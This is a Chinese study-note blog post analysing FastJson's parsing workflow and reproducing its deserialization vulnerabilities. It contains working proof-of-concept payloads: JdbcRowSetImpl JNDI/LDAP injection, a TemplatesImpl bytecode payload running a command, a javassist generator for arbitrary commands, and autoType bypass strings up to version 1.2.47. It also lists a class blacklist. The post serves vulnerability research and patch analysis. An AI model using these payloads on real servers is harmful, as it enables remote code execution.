FastJsonRe0
2024-08-09 18:23:32

参考自:
https://github.com/alibaba/fastjson
https://su18.org/post/fastjson/#%E5%89%8D%E8%A8%80
https://drun1baby.top/

FastJson 工作流程及其组件分析

0x01 简介

FastJson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持 javaBean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 javabean
特点就是快,性能好,也就是因为此,FastJson 使用的用户特别多。但是开源组件+用户大的特点,一旦爆出漏洞,危害也是巨大的

0x02 fastjson 使用

从显式上来说,fastjson 功能的实现连接于一个类com.alibaba.fastjson.JSON
使用 fastjson 就是为了让类 转化得到 json 字符串,或者将 json 解析为 javabean,那功能组件和具体的工作流程也是绕不开这两者的
先看将 javabean 转化为 json

1x01 javabean->json

这里最常用的方法就是JSON.toJSONString(),该方法有很多重载方法,并且都带有不同的参数,最常用的是下面几个:
序列化特性:com.alibaba.fastjson.serializer.SerializerFeature,这个特性可以放到 fastjsonconfig 中供全局使用,又或者直接在方法中指定使用,比如JSON.toJSONString中指定,就可以实现指定序列化类型,使序列化数据自带@type标记

序列化过滤器:com.alibaba.fastjson.serializer.SerializeFilter,它是一个接口,功能就和名字一样,可以通过配置它的子接口或者实现类的内容,实现扩展编程,也就是额外执行一些代码操作
image.png

序列化配置:com.alibaba.fastjson.serializer.SerializeConfig,可自定义的序列化配置类,之后调试会遇到
image.png
那么具体使用如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
import sun.rmi.runtime.NewThreadAction;

public class Test {
public static void main(String[] args) {
Person person=new Person();
person.setAge(20);
person.setName("stoocea");
String personjson= JSON.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println(personjson);

Object o1 = JSON.parse(personjson); //解析为JSONObject类型或者JSONArray类型

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public class Person {
private String name;
private int age;

public String getName() {
System.out.println("调用了Name的getter");
return name;
}

public void setName(String name) {
System.out.println("调用了Name的setter");
this.name = name;
}

public int getAge() {
System.out.println("调用了Age的getter");
return age;
}

public void setAge(int age) {
System.out.println("调用了Age的setter");
this.age = age;
}

public Person() {
System.out.println("调用了无参构造");
}

public Person(String name, int age) {
System.out.println("调用了有参构造");
this.name = name;
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

image.png

1x02 json->javabean

fastjson 中将 json 数据反序列化成 javabean 类的常用方法为parse()``parseObject()``parseArray(),这三个方法也同样拥有很多的重载方法,带有不同的参数(具体可以去类的具体定义中查看):
反序列化特性: com.alibaba.fastjson.parser.Feature
类的特性 java.lang.reflect.Type
处理泛型反序列化:com.alibaba.fastjson.TypeReference
编程扩展定制反序列化:com.alibaba.fastjson.parser.deserializer.ParseProcess,例如ExtraProcessor 用于处理多余的字段,ExtraTypeProvider 用于处理多余字段时提供类型信息
还是与序列化有所不同的,但是有些很常见以及必须要实现的特性和配置还是相同的,fastjson 中的反序列化组件中的属性就很符合其反序列化的功能所要求的,类型宽泛
有一张关于 FastJson 早期的框架图:
1616458393831.png
之后流程调试的时候会遇到这些常见组件

1x03 常见特性

相信看完上面的使用例应该有不少疑问,比说为什么序列化结果会有 @type
这里我们将会用实例一个一个解决
1.为什么序列化结果出现了@type的字样,假如我们不加反序列化标识SerializerFeature

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Test2 {
public static void main(String[] args) {
Person person=new Person();
person.setName("stoocea");
person.setAge(20);
String personString= JSON.toJSONString(person);
System.out.println(personString);
//JSON.parseObject(personString);
}
}

结果如下
image.png
就没有@type标识符了,然后我们再尝试不指定类型,直接解析序列化数据

1
2
3
4
String personString= JSON.toJSONString(person);
System.out.println(personString);
JSONObject person1=JSON.parseObject(personString);
System.out.println(person1);

image.png
最后的打印输出并不是我们想要的 person 类的 toString 方法,而是 JSONObject 的 toString 方法,也就是说我们现在得到的并不是想要的 Person 类,并且无法被强转
那我们想要得到指定类的方法就是加上@type指定标识的类或者直接在 parseObject 方法中加上该类的全类名的参数即可,这里我们只演示如何通过@type来指定类型
有两种方法:
1 序列化的时候加序列化标识SerializerFeature.WriteClassName

1
2
String personString= JSON.toJSONString(person,SerializerFeature.WriteClassName);
System.out.println(personString);

image.png

1
2
Object person1= JSON.parse(personString);
System.out.println(person1);

image.png

2 自己手动加,这里就不演示了

1x04 Fastjson 工作流程分析

2x01 选定解析器-DefaultJSONParser

断点我们打在测试类的 parseObject 方法处
image.png
然后跟进
这里发现其实 parseObject 对于 parse 只是一层强转封装,最终调用的还是 parse
image.png
所以继续跟进 parse
image.png
内容主要是获取到 JSONParser 解析器,然后调用解析器的 parse 方法去解析,这里的 DefaultJSONParser 感兴趣的师傅可以自己调一下,我这里只给出 Parser 实例化完成之后里面需要注意的点
image.png
大致信息如下:

  • 我们的输入字符串信息 input
  • 几个标识符,包括我们上面提到的@type
  • json 字符串扫描器 lexer—JSONScanner,这里的 scanner 中有一段 token值的计算,感兴趣的师傅可以跟进一下流程,这里 token 算出来是 12
  • 其他功能信息不一一列举

我们继续跟进 parser 的 parse 方法
image.png
parse 方法内容主体被 switch 占领了,然后是根据我们刚才初始化 parser 时给 scanner 算的 token 来进行选择的,刚才 token 其实就是算的”{“字符(不太了解具体算法),也就是左标识符,那么这里自然跟进到case: LBRACE的情况
获取到的 JSONObject 本身并不带属性值
image.png
直接跟进 parseObject 方法,此时还是 DefaultJSONParser 类中
这里的 parseObject 方法内容较多,主要就是根据字符来进行逻辑判断,然后由逻辑判断走到处理方法
这里只走关键性逻辑,通过 scanner 去取得 key 值---@type
image.png
然后继续往下走,通过 key 值获取到我们刚才指定的 type,也就是 Person 类,然后调用 type 工具类的 loadClass 实现类加载
image.png
由于他本地缓存 map 中并没有 person 类,所以它得获取到类之后加载,然后存进本地缓存 map,注意此时并没有对 person 类进行任何操作,他只是根据 person 这个名字加载了一个空类,甚至都没有属性值
image.png
返回出来这个 person 空类,然后继续往下走,来到最终解析的地方,这里是先根据 person 类来获取解析器,然后在调用其解析方法
image.png

2x02 获取解析器–getDeserializer

跟进getDeserializer
image.png
这里判断了一下当前缓存中是否存在能够直接获取到解析该 json 数据的解析器,如果有就直接返回了,很显然我们这里没有,所以还需要跟进getDeserializer
内容较多,我们直接跟进到最后 createJavaBeanDeserializer,在此之前的内容只有一个 for 循环黑名单检测,但是那个黑名单里面的内容只有 Thread 线程类这么一个,所以并不影响,然后再进行了多次 if 判断,是否为数组,集合,Map,或者报错类,如果都不是就进入createJavaBeanDeserializer
image.png
createJavaBeanDeserializer有很多关于 ASM 前置的检查,这个我们之后再谈,这里走到JavaBeanInfo.build开始正式构造 beanInfo
image.png
build 方法本身是返回一个 JavaBeanInfo 列表,那 javaBeanInfo 列表是什么?它里面存储了我们当前想要反序列化 bean 中的 set 方法,get 方法,无参构造,字段属性值等具体信息以及标识,这点从他方法的开头能看出来
image.png
后续的很多类型检测就不看了,我们直接到关键内容
image.png
在它方法的最后有三段 for 循环,其中第一个 for 循环是用来获取 set 方法,第二个 for 循环是用来获取字段属性,第三个 for 循环是在获取 get 方法
我们只看第一个 for 循环的内容
image.png
有四个 if 判断,如果不想进入其内容被 return 出去,需要满足:

  • 方法名长度不能小于 4
  • 不能是静态方法
  • 返回值不能为空
  • 获取该方法的参数数量,不能为 1

我们现在想要获取的 Person 类肯定满足这个要求,这里记住就好,后续漏洞利用会考虑到
持续跟进,我们以 setName 方法的进度为例,再经过了注解处理以及各类字符处理之后,它最终会被 add 进 fieldInfo 数组
image.png
这里要注意的是我们在实例化单个 FieldInfo 时有个需要注意的点–关于 getOnly 的设置,其实对于漏洞本身的执行是没有影响的,主要是关于 ASM 解析器的生成,因为 ASM 解析器是动态生成的,如果 getOnly 为 ture,后续会调用 ASM 解析器去解析,我们就无法跟进流程继续分析了。为了让 getOnly 参数不为 true,我们在类中加上一个字段属性以及它的一个 get 方法即可,不要设置 set 方法
image.png
那么这里就不多记录,直接返回到解析器构造完毕,开始调用 deserialze

2x03 deserialze 解析—javaBeanDeserializer

经过几层包装特性,跟进到了 javaBeanDeserializer 的 deserialze 方法,前面是对 JSON 数据做处理,我们跟进到重点 for 循环,关于 fieldInfo 的遍历
image.png
for 循环前面是对 fieldinfo 中获取到的字段属性以及 getset 方法等进行类型判断和特殊情况的判断,当来到 createInstance 方法,它首先是实例化了一个 Person 的空类,里面的属性值都为默认
image.png
后续会调用 FieldDeserializer 的 setVlue 方法
image.png
具体内容的话就是反射调用 set 方法了
image.png
漏洞触发点也就是在这,后续的漏洞利用不太能跟进到这,还是 ASM 解析器的原因,我们没办法跟进到具体内容

0x03 漏洞复现

稍微回忆一下流程,主要集中于DefaultJSONParser 中的获取解析器和 deserialze 解析,JSON 数据经过处理

1x01 JdbcRowSetImpl 利用

主要问题出在JdbcRowSetImpl#setDataSourceNameJdbcRowSetImpl#setAutoCommit方法中存在可控的参数以及有后续调用的可能
image.png
这里能够对 dataSource 变量自由赋值
image.png
然后在 connect 方法中我们找到了熟悉的 lookup,再看一眼它前面的调用,居然是 initialContext,并且 lookup 中的参数也是我们刚才的可以通过 set 方法去自己构造 datasource,三种条件结合起来就存在 JNDI 攻击的可能
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import com.alibaba.fastjson.JSON;



public class FastJson_JNDI_LDAP {

public static void main(String[] args) {

String payload = "{" +

"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +

"\"dataSourceName\":\"ldap://127.0.0.1:1099/badClassName\", " +

"\"autoCommit\":true" +

"}";

JSON.parse(payload);

}

}

测试一下
image.png
具体的流程分析无法,跟进上面工作流程中我们讲到了 getOnly 的问题,由于我们不能够控制 JdbcRowSetImpl 中具体方法内容,也就无法使得 getOnly 参数为 false,不开启 ASM 解析器
所以无法调试,但其实 deserialize 的内容是差不多的,for 循环获取到 fieldInfo 数组的内容,然后读取到 set 方法反射调用
image.png

1x02 TemplateImpl 利用

先看利用 POC 吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;


public class FastJson_JNDI_LDAP {

public static void main(String[] args) {
getShortpayload getShortpayload=new getShortpayload();
String shortpayload=getShortpayload.getShortTemplatesImpl("calc");
System.out.println(shortpayload);
String payload="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\":[\"yv66vgAAADQAHwEABEV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcACAEADVN0YWNrTWFwVGFibGUBABFqYXZhL2xhbmcvUnVudGltZQcACwEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAA0ADgoADAAPAQAEY2FsYwgAEQEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABMAFAoADAAVAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgwAGgAGCgAEABsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhACEAAgAEAAAAAAAEAAgABQAGAAEABwAAADIAAgABAAAAEbgAEBIStgAWV6cAB0unAAOxAAEAAAAJAAwACQABAAoAAAAHAAJMBwAJAwABABcAGAABAAcAAAANAAAAAwAAAAGxAAAAAAABABcAGQABAAcAAAANAAAABAAAAAGxAAAAAAABABoABgABAAcAAAARAAEAAQAAAAUqtwAcsQAAAAAAAQAdAAAAAgAe\"], '_name':'c.c', '_tfactory':{ },\"_outputProperties\":{}, \"_name\":\"a\", \"_version\":\"1.0\", \"allowedProtocols\":\"all\"}";
JSON.parseObject(payload, Feature.SupportNonPublicField);

}

}

具体恶意类的内容,也就是 CC3 中恶意类一样,只不过这里我们用 javassist 写一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import javassist.*;

import java.util.Base64;

public class getShortpayload {
Base64.Encoder encoder=Base64.getEncoder();
public String getShortTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
" } catch (Exception ignored) {\n" +
" }");
CtMethod ctMethod1 = CtMethod.make(" public void transform(" +
"com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
"com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {\n" +
" }", ctClass);
ctClass.addMethod(ctMethod1);
CtMethod ctMethod2 = CtMethod.make(" public void transform(" +
"com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
"com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, " +
"com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {\n" +
" }", ctClass);
ctClass.addMethod(ctMethod2);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
String payload=encoder.encodeToString(bytes);
return payload;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}

2x01 流程简单分析

fastjson 解析部分不赘述,来分析TemplateImpl 部分

1
2
3
4
5
6
7
8
9
10
11
12
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",

"_bytecodes":["yv66vgAAADQAHwEABEV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcACAEADVN0YWNrTWFwVGFibGUBABFqYXZhL2xhbmcvUnVudGltZQcACwEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAA0ADgoADAAPAQAEY2FsYwgAEQEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABMAFAoADAAVAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgwAGgAGCgAEABsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhACEAAgAEAAAAAAAEAAgABQAGAAEABwAAADIAAgABAAAAEbgAEBIStgAWV6cAB0unAAOxAAEAAAAJAAwACQABAAoAAAAHAAJMBwAJAwABABcAGAABAAcAAAANAAAAAwAAAAGxAAAAAAABABcAGQABAAcAAAANAAAABAAAAAGxAAAAAAABABoABgABAAcAAAARAAEAAQAAAAUqtwAcsQAAAAAAAQAdAAAAAgAe"],

'_name':'c.c',
'_tfactory':{ },
"_outputProperties":{},
"_name":"a",

"_version":"1.0",

"allowedProtocols":"all"}

将 payload 部分拆分成如上几个部分,触发部分在_outputProperties中,也就是TemplatesImplgetoutputProperties
为什么是 get?一般 parseObject 中会在最后调用 toJSON 方法,并且在 toJSON 方法中也会调用到 get 方法
image.png
我们先跟进到getoutputProperties
image.png
这里会调用到 newTransformer 方法
image.png
newTransformer方法中又会调用getTransletInstance()方法
然后经过 _name参数不为 null,并且_class参数不为 null 的情况下,调用 defineTransletClasses 方法
image.png
然后在 defineTransletClasses 方法中通过 _bytecodes 传递的字节码,通过 defineClass 方法进行类加载(其中还有很多限制条件,这里不做赘述)
image.png
所以整个的利用链就是:

1
getoutputProperties->newTransformer->getTransletInstance->defineTransletClasses->defineClass 

这里又有一个细节问题,为什么不直接getTransletInstance 开始调用?
之前我们分析过 FastJson 获取解析器–getDeserializer 的时候,beaninfo 中获取 get 方法会有限制条件

1.非静态方法
2.无参数
3.返回类型必须是(或继承自)Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

getTransletInstance
image.png
返回值不满足第三点条件,所以我们必须往上找其他的利用
对于getoutputProperties中,它的返回值是 Properties
image.png
Properties 继承于 HashMap,所以符合条件
image.png

0x04 补丁修复分析

研究高版本的防御补丁的思想,以及绕过
直到 fastjson-1.2.47 之前的补丁修复绕过,都必须开启AutoTypeSupport
测试人员可以添加如下代码进行开启

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

1x01 fastjson-1.2.25

1.2.24 之后的第一次更新,官方引入checkAutoType机制,默认情况下,autoTypeSupport 关闭,不能直接反序列化任意类。打开AutoType之后是基于黑名单来实现安全检测的,fastjson 也提供了添加黑名单的接口
集中处理的地方在 ParserConfig,也就是我们通过config.getDeserializer来获取解析器类
但是具体的使用却是在DefaultJSONParser
image.png
而只有经过这层 checkAutoType 才能继续往下走正常的解析流程
image.png
我们先跟进 parserconfig 类,之后再看具体的方法处理
多了很多成员变量,其中包括黑名单和白名单列表,然后多了一个AUTO_SUPPORT安全开关
image.png
具体的黑名单如下
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

白名单是没有具体定义的,它需要通过一些方法去添加内容

使用代码进行添加:ParserConfig.getGlobalInstance().addAccept(“org.su18.fastjson.,org.javaweb.”)
加上JVM启动参数:-Dfastjson.parser.autoTypeAccept=org.su18.fastjson.
在fastjson.properties中添加:fastjson.parser.autoTypeAccept=org.su18.fastjson.

这些我们肯定是无法利用的,都是服务端自己能干的事,还得从其他地方入手
我们跟进checkAutoType方法
他有几层黑白名单的混合双打,先看第一次
如果autoTypeSupport选项开启,那么就会先遍历白名单,匹配目标类是否在其中,如果在就直接加载类,然后遍历黑名单,匹配目标类是否在其中,如果在就抛异常
image.png
下面还有一次混合双打,当我们没有开启autoTypeSupport的时候,先遍历黑名单匹配就抛出异常,然后再遍历白名单匹配就直接加载。如果这两次混合双打没有打对地方,那么最后只有一种可能会加载类了—开启 autoTypeSupport 或者 expectClass 不为 null
image.png
问题就出在这最后一手回首掏里面,我们跟进这个最后的 loadClass
image.png
fastjson 这里为了兼容其他 JSON 格式的数据,使用递归调用来处理这些特殊字符
于是我们的绕过思路就是在原先反序列化的类名前加上L以及最后加上;,之后也会被递归解析,能够准确找到全类名进行加载
Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;


public class FastJson_JNDI_LDAP {

public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String payload = "{" +

"\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +

"\"dataSourceName\":\"ldap://localhost:10389/cn=TestLdap,dc=example,dc=com\", " +

"\"autoCommit\":true" +

"}";
JSON.parseObject(payload, Feature.SupportNonPublicField);

}

}

1x02 fastjson-1.2.42 至 1.2.44

攻防全部集中于此
只列出 payload,不做具体分析
1.2.42-双写 LL;;绕过:

1
2
3
4
5
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}

1.2.43-利用 [ 判断的绕过:

1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}

1.2.44-GG
这个版本的字符串判断的绕过基本上就结束了

1x03 fastjson-1.2.45

又爆出来一个黑名单绕过,补充不全

1
2
3
4
5
6
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}

1x04 fastjson-1.2.47

最严重的一集,上面 1.2.25-1.2.45 版本的绕过都必须建立在 autoType 开启的情况下,本来限制就很大了,而 1.2.47 版本的漏洞则不需要开启这个
影响版本有些不同

1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport 的情况下
1.2.33 <= fastjson <= 1.2.47

漏洞主要发生地点是在 checkautotype 中
我们将 fastjson 的版本改为 1.2.47,经过几个版本的更新,checkAutoType 已有些不同,主要也是集中于我们上面总结的漏洞的补丁修改
主题内容如下,前面还有一部分是关于;L字符绕过的处理,包括 hash 处理和直接禁用等等
然后就是熟悉的黑白名单混合检测,只不过 for 中我们取出黑名单值变成了 hash 值匹配,内容是一样的
image.png
image.png
image.png
就算不开启 autoType,也就是第一个 for 循环不进去,我们往后走逻辑,来到个 if 判断处,假如说前两个 if 判断有一个 if 判断的内容满足要求了,我们就能够进入第三个 if 判断,直接 return 出我们的恶意类,就不用去面对恐怖的 autotype 未开启的黑名单检测在前的情况了
那么接下来就是关于前两个 if 判断的内容
分别是通过调用TypeUtils.getClassFromMapping,从缓存 map 中取出赋值为 clazz ;直接调用deserializers.findClass(typeName)去找有没有这个类
但其实最终利用到的还是TypeUtils.getClassFromMapping,因为deserializers.findClass我们无法从中传值,也就是无法写入我们想要的恶意类,也就获取不到 clazz
直接看TypeUtils.getClassFromMapping
对于getClassFromMapping,它的内容仅仅是从 mappings 中取值,但是我们是可以通过TypeUtils.loadClass往里写值的
image.png
直接跟进到TypeUtils.loadClass,内容和我们上面绕过时分析到的逻辑是差不多的,多了一些字符绕过的检测,最后这一个部分仍然没变
image.png
也就是说 loadClass 会在最后尝试向 mappings 中写入当前正在实例化的类,那我们只需要能够控制到 loadClass 的参数,往里传入我们想要实例化的类即可
首先,TypeUtils 中有重载三个 loadClass 方法
image.png
image.png
虽然最终都会往三个参数的 loadClass 走(也就是我们刚才分析的 loadClass),但是每个 loadClass 被调用的地方都是不同的
但是可以明确一点,三个 loadClass 的 String Class 参数是一定会有的,其他参数可有可无,也就是说我们只要找到能够后续调用,且参数可控的部分,就能够形成利用链
找一下双参数的 loadClass 在哪被调用了
image.png
跟进到com.alibaba.fastjson.serializer.MiscCodec的具体调用部分
image.png
需要的是 strVal 参数来指定为我们想要加载的类,来看 strVal 参数如何控制
image.png
这里想要赋值 strVal 就必须使得 objVal 不为空,且为我们的目标
看一下 objVal 是如何赋值的
image.png
parser.resolveStatusTypeNameRedirect时,会进入 if 判断,然后通过扫描器判断 json 字符串中 val 键是否符合要求,然后将 val 中值通过 parser 的解析器方法返回给 objVal
resolveStatus 如何变为TypeNameRedirect 呢?
我们可以尝试一下 POC 的 payload

1
{"@type":"java.lang.Class","val":"aaaaa"}

后续直接跟进到 checkAutoType 中,我们来到第二个 if 判断,也就是直通过 deserializer 去 findClass
image.png
实际上就是从IdentityHashMap中取值,由于 parserConfig 在初始化的时候会调用 initDeserializer 方法去初始化 deserializer
image.png
而在 deserializer 的初始化方法中,已经将 Class.class 加载了
image.png
所以我们此时的 deserializer 能从中 find 到 clazz,并且在后续的 parseObject 方法中会将resolveStatus设置为TypeNameRedirect
image.png
那么此时的条件都已经达成了:resolveStatus设置为TypeNameRedirect,我们能够通过自控 objval 去设置 strval,然后通过 loadClass 去加载 strval,并且写入 mappings 缓存
POC 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;


public class FastJson_JNDI_LDAP {

public static void main(String[] args) {

String payload="{\"a\":" +
"{\"@type\": \"java.lang.Class\",\"val\": \"com.sun.rowset.JdbcRowSetImpl\"}," +
"\"stoocea\":" +
"{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\": \"ldap://127.0.0.1:10389/cn=TestLdap,dc=example,dc=com\"," +
"\"autoCommit\": true}" +
"}";

JSON.parseObject(payload);

}

}

我个人的 FastJson 复习和学习暂时停在这里,后续还有其他的内容会继续补充到我这篇笔记性质的博客